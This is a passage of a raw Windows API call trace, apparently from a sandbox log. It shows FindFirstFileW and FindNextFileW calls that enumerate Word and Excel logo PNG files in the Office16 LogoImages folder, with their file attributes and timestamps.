lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-180.png", cAlternateFileName="WINWOR~1.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-80.png", cAlternateFileName="WINWOR~3.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-100.png", cAlternateFileName="WIEE7A~1.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-140.png", cAlternateFileName="WINWOR~2.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-180.png", cAlternateFileName="WIACD7~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1af55fee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1af55fee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1af7c22b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-80.png", cAlternateFileName="WI8265~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-100.png", cAlternateFileName="WI2520~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-140.png", cAlternateFileName="WIA801~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-180.png", cAlternateFileName="WIF595~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-80.png", cAlternateFileName="WIB9E7~1.PNG")) returned 1 [0189.625] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x781, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-100.png", cAlternateFileName="WIA3D3~1.PNG")) returned 1 [0189.626] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1af55fee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x843, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-140.png", cAlternateFileName="WIB9B0~1.PNG")) returned 1 [0189.626] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-180.png", cAlternateFileName="WIE78E~1.PNG")) returned 1 [0189.626] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0d373e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0d373e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-80.png", cAlternateFileName="WI62EF~1.PNG")) returned 1 [0189.626] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8edb08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.scale-100.png", cAlternateFileName="WI3A30~1.PNG")) returned 1 [0189.627] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b27715c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b29d36d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x892, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.scale-140.png", cAlternateFileName="WI93F0~1.PNG")) returned 1 [0189.627] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b145e25, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b145e25, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b145e25, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.scale-180.png", cAlternateFileName="WIE085~1.PNG")) returned 1 [0189.627] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8edb08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8edb08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a913cc8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.scale-80.png", cAlternateFileName="WIB162~1.PNG")) returned 1 [0189.627] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0189.627] FindClose (in: hFindFile=0x1ecdd350 | out: hFindFile=0x1ecdd350) returned 1 [0189.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0189.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0189.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0189.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages", lpFilePart=0x0) returned 0x3a [0189.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0189.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-100.png", cAlternateFileName="EXDF79~1.PNG")) returned 1 [0189.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-140.png", cAlternateFileName="EX9DAA~1.PNG")) returned 1 [0189.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-180.png", cAlternateFileName="EXD3EA~1.PNG")) returned 1 [0189.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-80.png", cAlternateFileName="EX9BE5~1.PNG")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-100.png", cAlternateFileName="EXC172~1.PNG")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-140.png", cAlternateFileName="EXCELL~3.PNG")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-180.png", cAlternateFileName="EX529E~1.PNG")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-80.png", cAlternateFileName="EXCELL~1.PNG")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x929, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-100.png", cAlternateFileName="EXCELL~4.PNG")) returned 1 [0189.632] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-140.png", cAlternateFileName="EXCELL~2.PNG")) returned 1 [0189.632] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-180.png", cAlternateFileName="EX5FD7~1.PNG")) returned 1 [0189.632] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x839, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-80.png", cAlternateFileName="EXDA38~1.PNG")) returned 1 [0189.690] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-100.png", cAlternateFileName="EX71FE~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-140.png", cAlternateFileName="EXCE73~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-180.png", cAlternateFileName="EX8CA4~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-80.png", cAlternateFileName="EX98BE~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x725, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-100.png", cAlternateFileName="EX82AE~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-140.png", cAlternateFileName="EXB07C~1.PNG")) returned 1 [0189.691] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-180.png", cAlternateFileName="EX0EF0~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-80.png", cAlternateFileName="EX8CE6~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-100.png", cAlternateFileName="EX3CF4~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x870, dwReserved0=0x0, 